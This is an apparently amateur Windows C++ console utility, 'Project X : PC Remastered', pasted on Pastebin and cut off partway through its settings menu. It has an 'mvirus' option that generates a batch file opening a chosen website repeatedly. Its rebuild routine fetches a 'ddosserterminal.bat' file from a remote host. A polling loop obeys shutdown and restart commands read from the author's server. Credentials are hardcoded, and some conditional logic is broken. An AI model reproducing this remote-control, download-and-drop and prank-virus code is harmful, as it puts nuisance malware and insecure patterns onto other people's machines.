Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "stdafx.h"
- #include <cstdlib>
- #include <iostream>
- #include <cstdlib>
- #include <fstream>
- #include <string>
- #include <windows.h>
- #include <tlhelp32.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <psapi.h>
- #include <cstdio>
- #include <shlobj.h>
- #include <direct.h>
- #include <WinUser.h>
- #include <dirent.h>
- #include <tchar.h>
- //#include <thread>
- #include <urlmon.h>
- /*#include <lua.hpp>*/
- #pragma comment(lib,"wininet.lib")
- #pragma comment(lib, "urlmon.lib")
- #pragma comment(lib, "winmm.lib")
- #pragma comment(lib, "Dnsapi.lib")
- using namespace std;
- const char* Commands[] = {
- "!help - Shows general help for Project X",
- "!helpcommand - Enter a command you want to know what does",
- "commands, cmds - List commands",
- "aprojects - Shows all projects made by Alis",
- "removefile - Removes a selected file",
- "removedir - Removes a selected directory",
- "cpu - Prints the current CPU",
- "checkdir - Checks if the selected directory exists",
- "checkfile - Check if the selected file exists",
- "shutdown - Shutdowns the computer instantly",
- "restart - Restarts the computer instantly",
- "tshutdown - Shutdowns the computer after the selected time",
- "checkstatus - Checks project x status",
- "playsound - Plays the selected MP3 or Wav file",
- "adminpanel - Shows admin panel",
- "cfile - Create file",
- "ofile - Shows the content of a file",
- "slock - Shutdown locks the pc",
- "update - Checks for updates",
- };
- static float CalculateCPULoad(unsigned long long idleTicks, unsigned long long totalTicks)
- {
- static unsigned long long _previousTotalTicks = 0;
- static unsigned long long _previousIdleTicks = 0;
- unsigned long long totalTicksSinceLastTime = totalTicks - _previousTotalTicks;
- unsigned long long idleTicksSinceLastTime = idleTicks - _previousIdleTicks;
- float ret = 1.0f - ((totalTicksSinceLastTime > 0) ? ((float)idleTicksSinceLastTime) / totalTicksSinceLastTime : 0);
- _previousTotalTicks = totalTicks;
- _previousIdleTicks = idleTicks;
- return ret;
- }
- static unsigned long long FileTimeToInt64(const FILETIME & ft) { return (((unsigned long long)(ft.dwHighDateTime)) << 32) | ((unsigned long long)ft.dwLowDateTime); }
- float GetCPULoad()
- {
- FILETIME idleTime, kernelTime, userTime;
- return GetSystemTimes(&idleTime, &kernelTime, &userTime) ? CalculateCPULoad(FileTimeToInt64(idleTime), FileTimeToInt64(kernelTime) + FileTimeToInt64(userTime)) : -1.0f;
- }
- char Startmenu[10][50] = {
- "+-------------------------------------------+",
- "| Project X : PC Remastered |",
- "| |",
- "| |",
- "| -Login |",
- "| -Update |",
- "| -Exit |",
- "| |",
- "| Made By Gamer::Lover |",
- "+-------------------------------------------+" };
- char Mainmenu[17][70] = {
- "+-----------------------------------------------------+",
- "| +-------------------------------------------------+ |",
- "| | Project X : PC Remastered | |",
- "| +-------------------------------------------------+ |",
- "| |",
- "| +-------------------------------------------------+ |",
- "| | basic : Basic Tools Menu | |",
- "| +-------------------------------------------------+ |",
- "| |",
- "| +-------------------------------------------------+ |",
- "| | adv : Advanced Tools Menu | |",
- "| +-------------------------------------------------+ |",
- "| |",
- "| +-------------------------------------------------+ |",
- "| | master : Master Tools / Admin Menu | |",
- "| +-------------------------------------------------+ |",
- "+-----------------------------------------------------+" };
- char Basicmenu[17][60] = {
- "+-----------------------------------------------------+",
- "| +-------------------------------------------------+ |",
- "| | Project X : PC Remastered | |",
- "| +-------------------------------------------------+ |",
- "| | | |",
- "| | info : store or load information ex webs,notes | |",
- "| | | |",
- "| | cleandesk : clears the desktop | |",
- "| | | |",
- "| | lockmouse : locks the mouse to a position | |",
- "| | | |",
- "| | settings : edit settings | |",
- "| | | |",
- "| | more : moves to next page | |",
- "| | | |",
- "| +-------------------------------------------------+ |",
- "+-----------------------------------------------------+" };
- char Advmenu[17][60] = {
- "+-----------------------------------------------------+",
- "| +-------------------------------------------------+ |",
- "| | Project X : PC Remastered | |",
- "| +-------------------------------------------------+ |",
- "| | | |",
- "| | lock : lock the pc inputs | |",
- "| | | |",
- "| | tshut : timed shutdown | |",
- "| | | |",
- "| | mvirus : make a spammer/virus | |",
- "| | | |",
- "| | autoc : auto clicker | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| +-------------------------------------------------+ |",
- "+-----------------------------------------------------+" };
- char Mastermenu[17][60] = {
- "+-----------------------------------------------------+",
- "| +-------------------------------------------------+ |",
- "| | Project X : PC Remastered | |",
- "| +-------------------------------------------------+ |",
- "| | | |",
- "| | loadlua : loads a custom lua file | |",
- "| | | |",
- "| | debug : opens debug menu | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| | Master menu | |",
- "| +-------------------------------------------------+ |",
- "+-----------------------------------------------------+" };
- char Settingsmenu[17][60] = {
- "+-----------------------------------------------------+",
- "| +-------------------------------------------------+ |",
- "| | Project X : PC Remastered | |",
- "| +-------------------------------------------------+ |",
- "| | | |",
- "| | Skipp : skips the pauses on login and - | |",
- "| | - initializing | |",
- "| | logs : enable logs | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| | | |",
- "| | save : saves settings | |",
- "| | | |",
- "| +-------------------------------------------------+ |",
- "+-----------------------------------------------------+" };
- char Loginmenu[3][28] = {
- "+------------------------+",
- "| Login |",
- "+------------------------+" };
- std::string input;
- std::string input2;
- std::string username;
- std::string password;
- const char* curversion = "0.6";
- const char* ProgramVersion = "0.1";
- std::string soundsOnOff;
- char menu = 'a';
- bool autostart;
- bool CommandOn = false;
- std::string OpenOnPcStarUp = "false";
- std::string EnableLogs = "false";
- std::string SkipPauses = "false";
- std::string CheckSLoop = "false";
- std::string BackgroundColor = "Default";
- std::string TextColor = "Default";
- std::string ProgramStatus;
- bool dirExists(const std::string& dirName_in)
- {
- DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
- if (ftyp == INVALID_FILE_ATTRIBUTES)
- return false;
- if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
- return true;
- return false;
- }
- bool fexists(const char *filename)
- {
- ifstream ifile(filename);
- return static_cast<bool>(ifile);
- }
- /*
- int Loadlua(const char* File)
- {
- lua_State *L = luaL_newstate();
- luaL_openlibs(L);
- if (luaL_dofile(L, File)) {
- const char* err = lua_tostring(L, -1);
- printf(err);
- }
- lua_close(L);
- return 0;
- }
- */
- int rebuild(const char* sounds)
- {
- std::string MainDir = "c:/Project-Pc";
- std::string CustomDir = "c:/Project-Pc/Custom-Files";
- std::string DataDir = "c:/Project-Pc/Data";
- std::string IncludedDir = "c:/Project-Pc/Data/Included";
- std::string SourceDir = "c:/Project-Pc/Data/Source";
- std::string SavedInfoDir = "c:/Project-Pc/Data/Saved-Information";
- std::string SoundDir = "c:/Project-Pc/Data/Sounds";
- system("cls");
- cout << "Rebuilding missing files" << endl;
- CreateDirectoryA(MainDir.c_str(), NULL);
- CreateDirectoryA(CustomDir.c_str(), NULL);
- CreateDirectoryA(DataDir.c_str(), NULL);
- CreateDirectoryA(IncludedDir.c_str(), NULL);
- CreateDirectoryA(SourceDir.c_str(), NULL);
- CreateDirectoryA(SavedInfoDir.c_str(), NULL);
- CreateDirectoryA(SoundDir.c_str(), NULL);
- if (fexists("c:/Project-Pc/Data/storeddata.ini"))
- {
- cout << "storeddata.ini found will not rebuild" << endl;
- }
- else
- {
- ofstream storeddata;
- storeddata.open("c:/Project-Pc/Data/storeddata.ini");
- storeddata << "[Saved Program Settings]\n";
- storeddata << "[Open-On-PC-Startup]==false\n";
- storeddata << "[Enable-Logs]==false\n";
- storeddata << "[Skip-Pauses]==false\n";
- storeddata << "[BackgroundColor]==default\n";
- storeddata << "[TextColor]==default\n";
- storeddata << "[Check-Status-Loop]==false\n";
- storeddata.close();
- }
- if (fexists("c:/Project-Pc/version.txt"))
- {
- remove("c:/Project-Pc/version.txt");
- }
- ofstream version;
- version.open("c:/Project-Pc/version.txt");
- version << "[Current-Version] = " << curversion;
- version.close();
- if (fexists("c:/Project-Pc/logs.txt"))
- {
- cout << "logs.txt found will not rebuild" << endl;
- }
- else
- {
- ofstream logs;
- logs.open("c:/Project-Pc/logs.txt");
- logs << "DO NOT EDIT";
- logs.close();
- }
- HRESULT hr;
- LPCTSTR Url7 = _T("http://project-x.site88.net/shuttingdown.wav"), File7 = _T("c:\\Project-Pc\\Data\\Sounds\\shuttingdown.wav");
- LPCTSTR Url8 = _T("http://project-x.site88.net/sysoffline.wav"), File8 = _T("c:\\Project-Pc\\Data\\Sounds\\sysoffline.wav");
- LPCTSTR Url9 = _T("http://project-x.site88.net/sysonline.wav"), File9 = _T("c:\\Project-Pc\\Data\\Sounds\\sysonline.wav");
- LPCTSTR Url10 = _T("http://project-x.site88.net/welcome_massage.wav"), File10 = _T("c:\\Project-Pc\\Data\\Sounds\\welcome_massage.wav");
- LPCTSTR Url11 = _T("http://project-x.site88.net/ddosserterminal.bat"), File11 = _T("c:\\Project-Pc\\Data\\ddosserterminal.bat");
- LPCTSTR Url12 = _T("http://project-x.site88.net/source.ini"), File12 = _T("c:\\Project-Pc\\Data\\Source\\source.ini");
- if (sounds == "yes")
- {
- soundsOnOff = "On";
- hr = URLDownloadToFile(0, Url7, File7, 0, 0);
- hr = URLDownloadToFile(0, Url8, File8, 0, 0);
- hr = URLDownloadToFile(0, Url9, File9, 0, 0);
- hr = URLDownloadToFile(0, Url10, File10, 0, 0);
- hr = URLDownloadToFile(0, Url11, File11, 0, 0);
- hr = URLDownloadToFile(0, Url12, File12, 0, 0);
- }
- else
- {
- cout << "Skipping sounds" << endl;
- soundsOnOff = "Off";
- hr = URLDownloadToFile(0, Url11, File11, 0, 0);
- hr = URLDownloadToFile(0, Url12, File12, 0, 0);
- }
- return 0;
- }
- void CheckDatabase(char* CheckLoop)
- {
- while (CheckLoop == "true" && CommandOn == false)
- {
- _mkdir("c:/project_x_status");
- HRESULT hr;
- LPCTSTR Url = _T("http://project-x.site88.net/project_x_status.ini"), File = _T("C:\\project_x_status\\project_x_status.ini");
- hr = URLDownloadToFile(0, Url, File, 0, 0);
- if (fexists("c:/project_x_status/project_x_status.ini"))
- {
- string line;
- ifstream myfile("c:/project_x_status/project_x_status.ini");
- if (myfile.is_open())
- {
- while (getline(myfile, line))
- {
- std::string str(line);
- std::string str2("Project-Command");
- std::size_t found = str.find(str2);
- if (found != std::string::npos)
- {
- std::string str3(line);
- std::string str4("shutdown");
- std::size_t found2 = str3.find(str4);
- if (found2 != std::string::npos)
- {
- _mkdir("c:/project_x_command");
- cout << "Remote shutdown command received" << endl;
- CommandOn = true;
- system("shutdown -s");
- }
- std::string str5(line);
- std::string str6("restart");
- std::size_t found3 = str5.find(str6);
- if (found3 != std::string::npos)
- {
- _mkdir("c:/project_x_command");
- cout << "Remote restart command received" << endl;
- CommandOn = true;
- system("shutdown -r");
- }
- }
- //cout << line << '\n';
- }
- myfile.close();
- remove("c:/project_x_status/project_x_status.ini");
- _rmdir("c:/project_x_status");
- }
- }
- else
- {
- cout << "Error! while checking status.." << endl;
- }
- Sleep(5000);
- }
- }
- void ResetCommand()
- {
- _rmdir("c:/project_x_command");
- CommandOn = true;
- Sleep(10000);
- CommandOn = false;
- }
- int SaveSettings()
- {
- if (fexists("c:/Project-Pc/Data/storeddata.ini"))
- {
- remove("c:/Project-Pc/Data/storeddata.ini");
- }
- ofstream storeddata;
- storeddata.open("c:/Project-Pc/Data/storeddata.ini");
- storeddata << "[Saved Program Settings]\n";
- storeddata << "[Open-On-PC-Startup]==" << OpenOnPcStarUp << "\n";
- storeddata << "[Enable-Logs]==" << EnableLogs << "\n";
- storeddata << "[Skip-Pauses]==" << SkipPauses << "\n";
- storeddata << "[BackgroundColor]==" << BackgroundColor << "\n";
- storeddata << "[TextColor]==" << TextColor << "\n";
- storeddata << "[Check-Status-Loop]==" << CheckSLoop << "\n";
- storeddata.close();
- return 0;
- }
- int SearchForLine(const char* filepath, const char* SearchLine1, const char* SearchLine2)
- {
- string line;
- ifstream myfile(filepath);
- if (myfile.is_open())
- {
- while (getline(myfile, line))
- {
- std::string str(line);
- std::string str2(SearchLine1);
- std::size_t found = str.find(str2);
- if (found != std::string::npos)
- {
- std::string str3(line);
- std::string str4(SearchLine2);
- std::size_t found2 = str3.find(str4);
- if (found2 != std::string::npos)
- {
- myfile.close();
- return true;
- }
- else
- {
- myfile.close();
- return false;
- }
- }
- }
- }
- }
- int ConnectToHomeServer()
- {
- HRESULT hr;
- LPCTSTR Url100 = _T("http://project-x.site88.net/status.txt"), File100 = _T("c:\\Project-Pc\\Data\\status.txt");
- hr = URLDownloadToFile(0, Url100, File100, 0, 0);
- if (fexists("c:/Project-Pc/Data/status.txt"))
- {
- if (SearchForLine("c:/Project-Pc/Data/status.txt", "Current-Status", "open"))
- {
- ProgramStatus = "open";
- }
- if (SearchForLine("c:/Project-Pc/Data/status.txt", "Current-Status", "locked"))
- {
- ProgramStatus = "locked";
- }
- if (SearchForLine("c:/Project-Pc/Data/status.txt", "Current-Status", "maintenance"))
- {
- ProgramStatus = "maintenance";
- }
- remove("c:/Project-Pc/Data/status.txt");
- return 0;
- }
- else
- {
- cout << "Cant connect to server" << endl;
- ProgramStatus = "open";
- system("PAUSE");
- system("cls");
- return 0;
- }
- return 0;
- system("cls");
- cout << "ERROR" << endl;
- cout << "Cant connect to server" << endl;
- cout << "Try again? - Yes/No" << endl;
- cin >> input;
- if (input == "Yes" || "y" || "yes")
- {
- ConnectToHomeServer();
- return 0;
- }
- else
- {
- return EXIT_SUCCESS;
- }
- }
- int initializing()
- {
- SetConsoleTitleA("Project X : PC Remastered");
- system("cls");
- if (dirExists("c:/project_x_command"))
- {
- ResetCommand();
- }
- cout << " ..:::::::::.." << endl;
- cout << " ..:::aad8888888baa:::.." << endl;
- cout << " .::::d:?88888888888?::8b::::." << endl;
- cout << " .:::d8888:?88888888??a888888b:::." << endl;
- cout << " .:::d8888888a8888888aa8888888888b:::." << endl;
- cout << " ::::dP::::::::88888888888::::::::Yb::::" << endl;
- cout << " ::::dP:::::::::Y888888888P:::::::::Yb::::" << endl;
- cout << " ::::d8:::::::::::Y8888888P:::::::::::8b::::" << endl;
- cout << " .::::88::::::::::::Y88888P::::::::::::88::::." << endl;
- cout << " :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::" << endl;
- cout << " :::::::Y88888888888P::|::Y88888888888P:::::::" << endl;
- cout << " ::::::::::::::::888:::|:::888::::::::::::::::" << endl;
- cout << " `:::::::::::::::8888888888888b::::::::::::::'" << endl;
- cout << " :::::::::::::::88888888888888::::::::::::::" << endl;
- cout << " :::::::::::::d88888888888888:::::::::::::" << endl;
- cout << " ::::::::::::88::88::88:::88::::::::::::" << endl;
- cout << " `::::::::::88::88::88:::88::::::::::'" << endl;
- cout << " `::::::::88::88::P::::88::::::::'" << endl;
- cout << " `::::::88::88:::::::88::::::'" << endl;
- cout << " ``:::::::::::::::::::''" << endl;
- cout << " ``:::::::::''" << endl;
- cout << " Initializing Project X" << endl;
- menu = 'b';
- cout << "Checking Files" << endl;
- if (dirExists("c:/Project-Pc") && dirExists("c:/Project-Pc/Data") && dirExists("c:/Project-Pc/Custom-Files") && dirExists("c:/Project-Pc/Data/Included") && dirExists("c:/Project-Pc/Data/Source") && fexists("c:/Project-Pc/Data/storeddata.ini") && dirExists("c:/Project-Pc/Data/Saved-Information") && dirExists("c:/Project-Pc/Data/Sounds") && fexists("c:/Project-Pc/Data/Source/source.ini"))
- {
- if (SearchForLine("c:/Project-Pc/Data/storeddata.ini", "Skip-Pauses", "true"))
- {
- SkipPauses = "true";
- }
- else
- {
- SkipPauses = "false";
- }
- if (SearchForLine("c:/Project-Pc/Data/storeddata.ini", "Enable-Logs", "true"))
- {
- EnableLogs = "true";
- }
- else
- {
- EnableLogs = "false";
- }
- if (SearchForLine("c:/Project-Pc/Data/storeddata.ini", "Check-Status-Loop", "true"))
- {
- CheckSLoop = "true";
- }
- else
- {
- CheckSLoop = "false";
- }
- if (fexists("c:/Project-Pc/Data/Sounds/sysonline.wav"))
- {
- soundsOnOff = "On";
- }
- else
- {
- soundsOnOff = "Off";
- }
- cout << "Files found" << endl;
- string line;
- ifstream myfile("c:/Project-Pc/Data/storeddata.ini");
- if (myfile.is_open())
- {
- while (getline(myfile, line))
- {
- std::string str(line);
- std::string str2("Open-On-PC-Startup");
- std::size_t found = str.find(str2);
- if (found != std::string::npos)
- {
- std::cout << "storeddata.ini Found" << '\n';
- std::string str3(line);
- std::string str4("true");
- std::size_t found2 = str3.find(str4);
- if (found2 != std::string::npos)
- {
- autostart = true;
- }
- else
- {
- autostart = false;
- }
- }
- }
- myfile.close();
- }
- }
- else
- {
- cout << "Some files was not found" << endl;
- cout << "Would you like to rebuild missing files ? - yes/no" << endl;
- cin >> input2;
- if (input2 == "yes" || "y")
- {
- rebuild("yes");
- initializing();
- return 0;
- }
- else
- {
- cout << "Closing" << endl;
- system("PAUSE");
- return EXIT_SUCCESS;
- }
- }
- cout << "Checking Server" << endl;
- ConnectToHomeServer();
- cout << "Checking Lua (Lua Temp Disabled)" << endl;
- /*Loadlua("C:/Project-Pc/Data/Source/luacheck.lua"); */
- cout << "Done" << endl;
- system("PAUSE");
- }
- int AdminCheck(std::string username, std::string password)
- {
- if (username == "admin123")
- {
- if (password == "061099")
- {
- cout << "Autorisation Granted" << endl;
- system("PAUSE");
- menu = 'h';
- }
- }
- else
- {
- cout << "username or password was incorrect!" << endl;
- system("PAUSE");
- }
- return 0;
- }
- int main()
- {
- system("cls");
- while (true)
- {
- switch (menu)
- {
- case 'a':
- {
- initializing();
- //thread t1(CheckDatabase, CheckSLoop);
- LPCTSTR OnlineSound = _T("C:\\Project-Pc\\Data\\Sounds\\sysonline.wav");
- if (soundsOnOff == "On")
- {
- PlaySound(OnlineSound, NULL, SND_FILENAME);
- }
- system("cls");
- }
- case 'b':
- {
- cout << " _______________ Project X : Remastered _______________ " << endl;
- cout << " / \ / \ " << endl;
- cout << " / \ / \ " << endl;
- cout << " // \/\ // \/\ " << endl;
- cout << " \| XXXX XXXX | / \| XXXX XXXX | / " << endl;
- cout << " | XXXX XXXX |/ | XXXX XXXX |/ " << endl;
- cout << " | XXX XXX | - Login | XXX XXX | " << endl;
- cout << " | | - Update | | " << endl;
- cout << " \__ XXX __/ - Exit \__ XXX __/ " << endl;
- cout << " |\ XXX /| |\ XXX /| " << endl;
- cout << " | | | | | | | | " << endl;
- cout << " | I I I I I I I | | I I I I I I I | " << endl;
- cout << " | I I I I I I | | I I I I I I | " << endl;
- cout << " \_ _/ \_ _/ " << endl;
- cout << " \_ _/ Made By Gamer::Lover \_ _/ " << endl;
- cout << " \_______/ \_______/ " << endl;
- /*
- for (int y = 0; y < 10; y++)
- {
- cout << Startmenu[y] << endl;
- }
- */
- if (ProgramStatus == "open")
- {
- cin >> input;
- }
- if (ProgramStatus == "locked")
- {
- cout << "Project : PC is currently locked, Please come back later" << endl;
- system("PAUSE");
- return EXIT_SUCCESS;
- }
- if (ProgramStatus == "maintenance")
- {
- cout << "Project : PC is currently under maintenance, Please come back later" << endl;
- system("PAUSE");
- return EXIT_SUCCESS;
- }
- if (input == "login")
- {
- menu = 'c';
- main();
- return 0;
- }
- if (input == "admin")
- {
- }
- if (input == "update")
- {
- system("cls");
- cout << "Would you like to check for updates? - yes/no" << endl;
- cin >> input;
- if (input == "yes" || "y")
- {
- system("cls");
- cout << "Checking for updates" << endl;
- HRESULT hr;
- LPCTSTR Url = _T("http://project-x.site88.net/version.ini"), File = _T("C:\\Project-Pc\\Custom-Files\\version.ini");
- hr = URLDownloadToFile(0, Url, File, 0, 0);
- if (SearchForLine("C:/Project-Pc/Custom-Files/version.ini", "Program-Version", ProgramVersion))
- {
- }
- else
- {
- system("cls");
- remove("C:/Project-Pc/Custom-Files/version.ini");
- cout << "A new version of the program is available please goto : NONEYET. and download the new version" << endl;
- system("PAUSE");
- main();
- return 0;
- }
- if (SearchForLine("C:/Project-Pc/Custom-Files/version.ini", "Current-Version", curversion))
- {
- remove("C:/Project-Pc/Custom-Files/version.ini");
- cout << "Your version is up to date" << endl;
- system("PAUSE");
- main();
- return 0;
- }
- else
- {
- cout << "An update was found to you want to install the update? - yes/no" << endl;
- remove("C:/Project-Pc/Custom-Files/version.ini");
- cin >> input;
- if (input == "yes" || "y")
- {
- system("cls");
- cout << "Do you want to install sounds to? - yes/no" << endl;
- cin >> input;
- if (input == "yes" || "y")
- {
- system("cls");
- cout << "Updating" << endl;
- rebuild("yes");
- cout << "Done" << endl;
- system("PAUSE");
- menu = 'a';
- main();
- return 0;
- }
- else
- {
- system("cls");
- cout << "Updating" << endl;
- rebuild("no");
- cout << "Done" << endl;
- system("PAUSE");
- menu = 'a';
- main();
- return 0;
- }
- }
- else
- {
- main();
- remove("C:/Project-Pc/Custom-Files/version.ini");
- return 0;
- }
- }
- }
- main();
- return 0;
- }
- if (input == "exit")
- {
- return EXIT_SUCCESS;
- }
- cout << "Unknown command!" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- case 'c':
- {
- for (int y = 0; y < 3; y++)
- {
- cout << Loginmenu[y] << endl;
- }
- cout << "Enter username" << endl;
- cin >> username;
- cout << "username : " << username << endl;
- cout << "Enter password" << endl;
- cin >> password;
- cout << "password : " << password << endl;
- cout << "Press enter to confirm" << endl;
- system("PAUSE");
- if (username == "lucaspou")
- {
- if (password == "luca")
- {
- system("cls");
- menu = 'd';
- main();
- return 0;
- }
- else
- {
- system("cls");
- cout << "Wrong password!" << endl;
- system("PAUSE");
- main();
- }
- }
- else
- {
- system("cls");
- cout << "Wrong username!" << endl;
- system("PAUSE");
- main();
- }
- }
- case 'd':
- {
- for (int y = 0; y < 17; y++)
- {
- cout << Mainmenu[y] << endl;
- }
- cout << "Welcome to the main menu just type the first word to select the menu" << endl;
- cin >> input;
- if (input == "basic")
- {
- menu = 'g';
- system("cls");
- main();
- return 0;
- }
- if (input == "adv")
- {
- menu = 'f';
- system("cls");
- main();
- return 0;
- }
- if (input == "master")
- {
- system("cls");
- std::string adminusername;
- std::string adminpassword;
- cout << "+------------------------+" << endl;
- cout << "| Admin Login |" << endl;
- cout << "+------------------------+" << endl;
- cout << "Admin-Username:" << endl;
- cin >> adminusername;
- system("cls");
- cout << "+------------------------+" << endl;
- cout << "| Admin Login |" << endl;
- cout << "+------------------------+" << endl;
- cout << "Admin-Username:" << adminusername << endl;
- cout << "Admin-Password:" << endl;
- cin >> adminpassword;
- system("cls");
- cout << "+------------------------+" << endl;
- cout << "| Admin Login |" << endl;
- cout << "+------------------------+" << endl;
- cout << "Admin-Username:" << adminusername << endl;
- cout << "Admin-Password:" << adminpassword << endl;
- cout << "Confirm login? - Yes/No" << endl;
- cin >> input;
- if (input == "yes" || "y" || "Yes")
- {
- AdminCheck(adminusername, adminpassword);
- main();
- return 0;
- }
- else
- {
- main();
- return 0;
- }
- system("PAUSE");
- main();
- return 0;
- }
- if (input == "logout")
- {
- menu = 'b';
- system("cls");
- main();
- return 0;
- }
- cout << "Unknown command!" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- case 'g':
- {
- for (int y = 0; y < 17; y++)
- {
- cout << Basicmenu[y] << endl;
- }
- cin >> input;
- if (input == "info")
- {
- system("cls");
- cout << "Would you like to load or create information?" << endl;
- cin >> input;
- if (input == "load")
- {
- system("cls");
- cout << "Sorry function not completed yet" << endl;
- system("PAUSE");
- /*
- system("cls");
- main();
- return 0;
- */
- system("cls");
- DIR *dir;
- struct dirent *ent;
- if ((dir = opendir("c:/Project-Pc/Data/Saved-Information")) != NULL) {
- /* print all the files and directories within directory */
- while ((ent = readdir(dir)) != NULL) {
- printf("%s\n", ent->d_name);
- }
- closedir(dir);
- }
- else {
- /* could not open directory */
- perror("Failed");
- main();
- return 0;
- }
- cout << "Enter the full name of the file with extension EX. test.txt" << endl;
- string name;
- cin >> name;
- system("cls");
- cout << "+--------------------------------------+" << endl;
- cout << name << endl;
- string line;
- ifstream myfile("C:/Project-Pc/Data/Saved-Information/" + name);
- if (myfile.is_open())
- {
- while (getline(myfile, line))
- {
- cout << line << '\n';
- }
- myfile.close();
- cout << "What do you want to do?" << endl;
- cout << "open - open the file" << endl;
- cout << "write - write something in the file" << endl;
- cout << "back - go back" << endl;
- cin >> input;
- if (input == "back")
- {
- main();
- return 0;
- }
- main();
- return 0;
- }
- else cout << "Unable to open file";
- system("PAUSE");
- main();
- return 0;
- }
- if (input == "create")
- {
- string FileName;
- string Text;
- string State = "Typing";
- system("cls");
- cout << "Enter the file name, of the file you wanna create" << endl;
- cin >> FileName;
- system("cls");
- ofstream createinfo;
- createinfo.open("C:/Project-Pc/Data/Saved-Information/" + FileName + ".txt");
- cout << "Just type anything and it will be printed into the file." << endl;
- cout << "Type (EXIT). With () to close the file" << endl;
- while (State == "Typing")
- {
- if (Text == "(EXIT)")
- {
- cout << "Closing" << endl;
- createinfo.close();
- cout << "File saved" << endl;
- system("PAUSE");
- main();
- return 0;
- }
- if (!(Text == "(EXIT)"))
- {
- cin >> Text;
- createinfo << Text << "\n";
- }
- }
- }
- main();
- return 0;
- }
- if (input == "settings")
- {
- menu = 'i';
- main();
- return 0;
- }
- cout << "Unknown command!" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- case 'f':
- {
- for (int y = 0; y < 17; y++)
- {
- cout << Advmenu[y] << endl;
- }
- cin >> input;
- if (input == "lock")
- {
- system("cls");
- main();
- return 0;
- }
- if (input == "tshut")
- {
- system("cls");
- cout << "Are you sure you want to make a timed shutdown ? - y/n" << endl;
- cin >> input;
- if (input == "yes" || input == "y")
- {
- int secs;
- system("cls");
- cout << "Enter time to shutdown in seconds" << endl;
- cin >> secs;
- cout << "Computer shutting down in" << endl;
- for (int i1 = secs; i1 > 1; i1 -= 1)
- {
- cout << i1 << endl;
- Sleep(1000);
- }
- system("cls");
- cout << "Shutting Down" << endl;
- system("shutdown /s");
- system("PAUSE");
- }
- if (input == "no" || input == "n")
- {
- main();
- return 0;
- }
- cout << "Unknown answear returning to menu" << endl;
- system("PAUSE");
- main();
- return 0;
- }
- if (input == "mvirus")
- {
- system("cls");
- cout << "Chose run type:" << endl;
- cout << "bat" << endl;
- cout << "exe - Coming Soon" << endl;
- cin >> input;
- if (input == "bat")
- {
- system("cls");
- cout << "Chose type" << endl;
- cout << "popupper" << endl;
- cout << "virus - coming soon" << endl;
- cin >> input;
- if (input == "popupper")
- {
- system("cls");
- cout << "Chose popup type:" << endl;
- cout << "website" << endl;
- cout << "program - coming soon" << endl;
- cin >> input;
- if (input == "website")
- {
- system("cls");
- std::string url;
- int popuptimes;
- cout << "Enter url to website" << endl;
- cin >> url;
- cout << "How many times should it open the website" << endl;
- cin >> popuptimes;
- ofstream popupper;
- popupper.open("c:/Project-Pc/Custom-Files/popupper-RENAME.bat");
- for (int i2 = popuptimes; i2 >= 1; i2 -= 1)
- {
- popupper << "start iexplore.exe " << url << "\n";
- }
- popupper.close();
- cout << "Done get your file and rename it here c:/Project-Pc/Custom-Files/" << endl;
- system("PAUSE");
- main();
- return 0;
- }
- }
- }
- main();
- return 0;
- }
- if (input == "autoc")
- {
- int i, stop;
- int wait;
- stop = 0;
- int maxtime = 0;
- bool done = false;
- float x = 0;
- float y = 0;
- system("cls");
- cout << "How many times do you want it to click, 0 for inf loop" << endl;
- cin >> i;
- system("cls");
- cout << "You selected " << i << endl;
- cout << "Choose the mouse position to click, press f1 to choose the current position of your mouse cursor" << endl;
- while (!done) {
- if (GetKeyState(VK_F1)) {
- POINT cursorPos;
- GetCursorPos(&cursorPos);
- x = cursorPos.x;
- y = cursorPos.y;
- done = true;
- }
- }
- cout << "You chose this pos 'X'=" << x << " 'Y'=" << y << endl;
- cout << "How long should it take before it clicks agien in milisecends?" << endl;
- cin >> wait;
- cout << "Press f2 to stop the loop" << endl;
- if (i == 0)
- {
- while (stop != 1)
- {
- SetCursorPos(x, y);
- mouse_event(MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);
- mouse_event(MOUSEEVENTF_LEFTUP, x, y, 0, 0);
- Sleep(wait);
- if (GetKeyState(VK_F2)) {
- stop = 1;
- system("cls");
- main();
- return 0;
- }
- }
- }
- else
- {
- for (int t = 1; t <= i; t++) {
- SetCursorPos(x, y);
- mouse_event(MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);
- mouse_event(MOUSEEVENTF_LEFTUP, x, y, 0, 0);
- Sleep(wait);
- if (GetKeyState(VK_F2)) {
- exit(0);
- }
- }
- }
- cout << "Stopped press enter to return" << endl;
- system("PAUSE");
- main();
- return 0;
- }
- if (input == "back")
- {
- menu = 'd';
- system("cls");
- main();
- return 0;
- }
- cout << "Unknown command!" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- case 'h':
- {
- for (int y = 0; y < 17; y++)
- {
- cout << Mastermenu[y] << endl;
- }
- cin >> input;
- if (input == "loadlua")
- {
- std::string LuaPath;
- system("cls");
- cout << "Lua Disabled" << endl;
- system("PAUSE");
- main();
- return 0;
- cout << "Enter the whole path to the lua file" << endl;
- cin >> LuaPath;
- const char * c = LuaPath.c_str();
- system("cls");
- /* Loadlua(c); */
- system("PAUSE");
- main();
- return 0;
- }
- if (input == "debug")
- {
- main();
- return 0;
- }
- if (input == "back")
- {
- menu = 'g';
- main();
- return 0;
- }
- cout << "Unknown command!" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- case 'i':
- {
- for (int y = 0; y < 17; y++)
- {
- cout << Settingsmenu[y] << endl;
- }
- cin >> input;
- if (input == "skipp")
- {
- if (SkipPauses == "true")
- {
- SkipPauses = "false";
- cout << "SkipPauses is now false" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- else
- {
- SkipPauses = "true";
